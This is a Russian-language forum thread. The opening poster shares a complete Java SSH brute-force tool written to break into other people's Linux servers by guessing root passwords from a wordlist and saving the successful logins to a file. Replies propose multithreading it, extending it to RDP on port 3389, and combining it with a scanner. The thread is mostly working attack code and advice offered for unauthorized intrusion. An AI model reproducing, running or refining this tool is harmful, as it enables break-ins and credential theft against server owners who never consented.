Не увидел раздела под божественную яву, по этому решил постануть здесь. Появилось желание побрутить линуксовые дедики с помощью гидры, но она на отрез отказывалась работать. Я насканил адреса, подготовил словарик, собрал гидру, а она то висла, то отказывалась открывать сокеты. Тут-то и решил написать свой простой ssh брут на яве. Может кому пригодится: Code: package sshobaka; import ch.ethz.ssh2.Connection; import java.io.BufferedReader; import java.io.FileNotFoundException; import java.io.FileOutputStream; import java.io.FileReader; import java.io.IOException; import java.io.PrintWriter; import java.util.ArrayList; import java.util.List; /** * * @author javabarin */ public class SSHobaka { static List<String> srvs = new ArrayList(); static List<String> pwds = new ArrayList(); static PrintWriter pWriter = null; private static void prepare() { //грузим ip в массив try { BufferedReader br = new BufferedReader(new FileReader("serverlist.txt")); String line; try { while((line = br.readLine())!=null) { srvs.add(line); } } catch (IOException ex) { System.out.println("Ошибка работы с массивом srvs"); System.exit(1); } } catch (FileNotFoundException fnfe) { System.out.println("Serverlist not found."); System.exit(1); } //грузим пароли в массив try { BufferedReader br = new BufferedReader(new FileReader("pswdlist.txt")); String line; try { while((line = br.readLine()) != null) { pwds.add(line); } } catch (IOException ex) { System.out.println("Ошибка работы с массивом паролей"); System.exit(1); } } catch (FileNotFoundException fff) { System.out.println("Passwdlist not found."); System.exit(1); } try { pWriter = new PrintWriter(new FileOutputStream("good.txt")); } catch (FileNotFoundException fnfx) { System.out.println("не могу открыть good.txt"); System.exit(1); } System.out.println("Загружено IP: " + srvs.size() + "\n паролей: " + pwds.size() + "\n Начинаем брутить."); } private static void brutIt() { String login = "root"; String pwd; String ip; Connection conn; for(int p=0;p<srvs.size();p++) { ip = srvs.get(p); for(int pw=0;pw<pwds.size();pw++) { pwd = pwds.get(pw); conn = new Connection(ip); try { conn.connect(); System.out.println("** " + ip + " " + login + " " + pwd); boolean isAuth = conn.authenticateWithPassword(login, pwd); if(isAuth) { System.out.println("SUCCESS! " + ip + " " + login + " " + pwd); pWriter.println(ip + " " + login + " " + pwd); pWriter.flush(); break; } conn.close(); } catch (IOException ex) { System.out.println("не могу соединится с " + ip); break; } } } System.out.println("TEH END!"); pWriter.close(); } /** * @param args the command line arguments */ public static void main(String[] args) { prepare(); brutIt(); } } он берёт пароли и адреса с файлов, кидает в массивы и подбирает с рут логином. Сбрученые серваки кидает в good. Использует ssh либу http://www.ganymed.ethz.ch/ssh2/
По сути у тебя сейчас получается так, что брутится только один IP адрес пока не кончатся все пароли... потом другой адрес. Я сам не знаю хороший алгоритм перебора, но если пароль генерируется - я бы сделал так... 1. Имеем общий массив IP адресов 2. Генерируем пароль - (или берем из списка) 3. Создаем N потоков - в каждом потоке присваиваем счетчик I = порядковый номер потока 4. В потоке делаем цикл и перебираем массив адресов с шагом N - сравнивая с нашим паролем. 5. Если следующий шаг больше чем IP адресов в массиве - закрываем поток. хз, может и тупая реализация, но по идее она позволит "одновременно" для одного пароля проверять N адресов. У кого какие идеи?
Да ты, собственно, написал то, что я хотел потом реализовать, кроме генерации паролей. Сейчас только с рдп разберусь.
у меня такая идея - сделать сделать коннект сначала по 22 порту, если нет ответа, то кидаем ип во 2й массив который будем прозванивать по 3389. Установить таймаут в 15 сек и получаем простую реализацию сканера+брутфорсера.